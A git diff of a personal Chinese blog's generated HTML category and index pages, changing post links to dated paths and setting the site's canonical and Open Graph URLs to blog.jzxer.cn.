     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/categories/web项目/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/categories/web项目/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/urlMaker.html">urlMaker</a></p>
+        <p class="article-headline-p"><a href="/2017/12/18/urlMaker.html">urlMaker</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/urlMaker.html" target="_self">阅读全文</a>
+            <a href="/2017/12/18/urlMaker.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue-eleme.html">vue-eleme</a></p>
+        <p class="article-headline-p"><a href="/2017/07/05/vue-eleme.html">vue-eleme</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue-eleme.html" target="_self">阅读全文</a>
+            <a href="/2017/07/05/vue-eleme.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/categories/博客搭建/index.html b/public/categories/博客搭建/index.html
index 06f3882..ab848a7 100644
--- a/public/categories/博客搭建/index.html
+++ b/public/categories/博客搭建/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/categories/博客搭建/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/categories/博客搭建/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/categories/博客搭建/">
+    <meta property="og:url" content="blog.jzxer.cn/categories/博客搭建/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="分类: 博客搭建 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/categories/博客搭建/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/categories/博客搭建/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/hexo搭建博客.html">hexo 搭建博客初体验</a></p>
+        <p class="article-headline-p"><a href="/2017/06/16/hexo搭建博客.html">hexo 搭建博客初体验</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/hexo搭建博客.html" target="_self">阅读全文</a>
+            <a href="/2017/06/16/hexo搭建博客.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/material主题使用攻略.html">material主题使用攻略</a></p>
+        <p class="article-headline-p"><a href="/2017/02/15/material主题使用攻略.html">material主题使用攻略</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/material主题使用攻略.html" target="_self">阅读全文</a>
+            <a href="/2017/02/15/material主题使用攻略.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/categories/服务器/index.html b/public/categories/服务器/index.html
index 77e1425..3b3294e 100644
--- a/public/categories/服务器/index.html
+++ b/public/categories/服务器/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/categories/服务器/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/categories/服务器/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/categories/服务器/">
+    <meta property="og:url" content="blog.jzxer.cn/categories/服务器/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="分类: 服务器 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/categories/服务器/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/categories/服务器/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/ubuntu下搭建一个nodejs-nginx-mongodb服务器.html">ubuntu下搭建一个nodejs+nginx+mongodb服务器</a></p>
+        <p class="article-headline-p"><a href="/2017/12/27/ubuntu下搭建一个nodejs-nginx-mongodb服务器.html">ubuntu下搭建一个nodejs+nginx+mongodb服务器</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/ubuntu下搭建一个nodejs-nginx-mongodb服务器.html" target="_self">阅读全文</a>
+            <a href="/2017/12/27/ubuntu下搭建一个nodejs-nginx-mongodb服务器.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/搭一个windows云服务器.html">搭一个windows云服务器</a></p>
+        <p class="article-headline-p"><a href="/2017/06/16/搭一个windows云服务器.html">搭一个windows云服务器</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/搭一个windows云服务器.html" target="_self">阅读全文</a>
+            <a href="/2017/06/16/搭一个windows云服务器.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/categories/版本管理/index.html b/public/categories/版本管理/index.html
index 08be643..782db05 100644
--- a/public/categories/版本管理/index.html
+++ b/public/categories/版本管理/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/categories/版本管理/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/categories/版本管理/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/categories/版本管理/">
+    <meta property="og:url" content="blog.jzxer.cn/categories/版本管理/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="分类: 版本管理 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/categories/版本管理/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/categories/版本管理/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/GIT使用攻略.html">git使用技巧</a></p>
+        <p class="article-headline-p"><a href="/2017/04/15/GIT使用攻略.html">git使用技巧</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/GIT使用攻略.html" target="_self">阅读全文</a>
+            <a href="/2017/04/15/GIT使用攻略.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/categories/生活/index.html b/public/categories/生活/index.html
index f5a4845..5eab35b 100644
--- a/public/categories/生活/index.html
+++ b/public/categories/生活/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/categories/生活/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/categories/生活/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/categories/生活/">
+    <meta property="og:url" content="blog.jzxer.cn/categories/生活/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="分类: 生活 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/categories/生活/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/categories/生活/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/学生思维.html">学生思维</a></p>
+        <p class="article-headline-p"><a href="/2018/04/10/学生思维.html">学生思维</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/学生思维.html" target="_self">阅读全文</a>
+            <a href="/2018/04/10/学生思维.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -500,7 +500,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/你的一生，究竟为什么而活.html">你的一生，究竟为什么而活</a></p>
+        <p class="article-headline-p"><a href="/2018/02/11/你的一生，究竟为什么而活.html">你的一生，究竟为什么而活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -510,7 +510,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/你的一生，究竟为什么而活.html" target="_self">阅读全文</a>
+            <a href="/2018/02/11/你的一生，究竟为什么而活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -561,7 +561,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/董思阳的忠告.html">董思阳的忠告</a></p>
+        <p class="article-headline-p"><a href="/2017/10/19/董思阳的忠告.html">董思阳的忠告</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -571,7 +571,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/董思阳的忠告.html" target="_self">阅读全文</a>
+            <a href="/2017/10/19/董思阳的忠告.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -622,7 +622,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/simpleCountry.html">simpleCountry</a></p>
+        <p class="article-headline-p"><a href="/2017/09/14/simpleCountry.html">simpleCountry</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -632,7 +632,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/simpleCountry.html" target="_self">阅读全文</a>
+            <a href="/2017/09/14/simpleCountry.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -683,7 +683,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何成为一名合格的CEO.html">如何成为一名合格的CEO</a></p>
+        <p class="article-headline-p"><a href="/2017/08/28/如何成为一名合格的CEO.html">如何成为一名合格的CEO</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -693,7 +693,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何成为一名合格的CEO.html" target="_self">阅读全文</a>
+            <a href="/2017/08/28/如何成为一名合格的CEO.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -744,7 +744,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/七种公司永远做不大-十种老板永远不成功.html">七种公司永远做不大, 十种老板永远不成功!</a></p>
+        <p class="article-headline-p"><a href="/2017/08/22/七种公司永远做不大-十种老板永远不成功.html">七种公司永远做不大, 十种老板永远不成功!</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -754,7 +754,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/七种公司永远做不大-十种老板永远不成功.html" target="_self">阅读全文</a>
+            <a href="/2017/08/22/七种公司永远做不大-十种老板永远不成功.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -805,7 +805,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/关于罗永浩.html">关于罗永浩</a></p>
+        <p class="article-headline-p"><a href="/2017/07/23/关于罗永浩.html">关于罗永浩</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -815,7 +815,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/关于罗永浩.html" target="_self">阅读全文</a>
+            <a href="/2017/07/23/关于罗永浩.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -866,7 +866,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/我向往的明天.html">我向往的明天</a></p>
+        <p class="article-headline-p"><a href="/2017/07/01/我向往的明天.html">我向往的明天</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -876,7 +876,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/我向往的明天.html" target="_self">阅读全文</a>
+            <a href="/2017/07/01/我向往的明天.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -927,7 +927,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/一些不可思议的的事.html">一些不可思议的的事</a></p>
+        <p class="article-headline-p"><a href="/2017/03/07/一些不可思议的的事.html">一些不可思议的的事</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -937,7 +937,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/一些不可思议的的事.html" target="_self">阅读全文</a>
+            <a href="/2017/03/07/一些不可思议的的事.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/categories/音乐/index.html b/public/categories/音乐/index.html
index 37e7dd1..25be4f6 100644
--- a/public/categories/音乐/index.html
+++ b/public/categories/音乐/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/categories/音乐/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/categories/音乐/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/categories/音乐/">
+    <meta property="og:url" content="blog.jzxer.cn/categories/音乐/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="分类: 音乐 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/categories/音乐/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/categories/音乐/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/wuti.html">wuti</a></p>
+        <p class="article-headline-p"><a href="/2017/07/31/wuti.html">wuti</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/wuti.html" target="_self">阅读全文</a>
+            <a href="/2017/07/31/wuti.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/Amani-间奏-1.html">Amani-间奏</a></p>
+        <p class="article-headline-p"><a href="/2017/03/28/Amani-间奏-1.html">Amani-间奏</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/Amani-间奏-1.html" target="_self">阅读全文</a>
+            <a href="/2017/03/28/Amani-间奏-1.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -559,7 +559,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/电吉他即兴原理.html">电吉他即兴原理</a></p>
+        <p class="article-headline-p"><a href="/2017/02/15/电吉他即兴原理.html">电吉他即兴原理</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -569,7 +569,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/电吉他即兴原理.html" target="_self">阅读全文</a>
+            <a href="/2017/02/15/电吉他即兴原理.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -620,7 +620,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/我是愤怒.html">我是愤怒</a></p>
+        <p class="article-headline-p"><a href="/2017/01/07/我是愤怒.html">我是愤怒</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -630,7 +630,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/我是愤怒.html" target="_self">阅读全文</a>
+            <a href="/2017/01/07/我是愤怒.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -681,7 +681,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/光辉岁月-间奏.html">光辉岁月-间奏</a></p>
+        <p class="article-headline-p"><a href="/2016/11/20/光辉岁月-间奏.html">光辉岁月-间奏</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -691,7 +691,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/光辉岁月-间奏.html" target="_self">阅读全文</a>
+            <a href="/2016/11/20/光辉岁月-间奏.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -742,7 +742,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/梦中的婚礼.html">梦中的婚礼</a></p>
+        <p class="article-headline-p"><a href="/2016/08/15/梦中的婚礼.html">梦中的婚礼</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -752,7 +752,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/梦中的婚礼.html" target="_self">阅读全文</a>
+            <a href="/2016/08/15/梦中的婚礼.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/gallery/index.html b/public/gallery/index.html
index e3345c4..f2276ee 100644
--- a/public/gallery/index.html
+++ b/public/gallery/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/gallery/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/gallery/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/gallery/">
+    <meta property="og:url" content="blog.jzxer.cn/gallery/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="gallery | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/gallery/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/gallery/index.html" />
     
 
     <!-- Structured-data for SEO -->
diff --git a/public/index.html b/public/index.html
index 31d3c97..db37cbd 100644
--- a/public/index.html
+++ b/public/index.html
@@ -212,7 +212,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -227,7 +227,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/">
+    <meta property="og:url" content="blog.jzxer.cn/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -241,7 +241,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="" />
+        <link rel="canonical" href="blog.jzxer.cn" />
     
 
     <!-- Structured-data for SEO -->
@@ -256,14 +256,14 @@
         "name": "Jzxer&#39;s Blog",
         "logo": "/img/favicon.png"
     },
-    "url": "",
+    "url": "blog.jzxer.cn",
     "image": {
         "@type": "ImageObject",
         "url": "/img/favicon.png"
     },
     "mainEntityOfPage": {
         "@type": "WebPage",
-        "@id": ""
+        "@id": "blog.jzxer.cn"
     },
     "description": "web全栈工程师,摇滚,vue,vuex,react,webpack,git,koa2"
 }
@@ -425,7 +425,7 @@
             
 
             
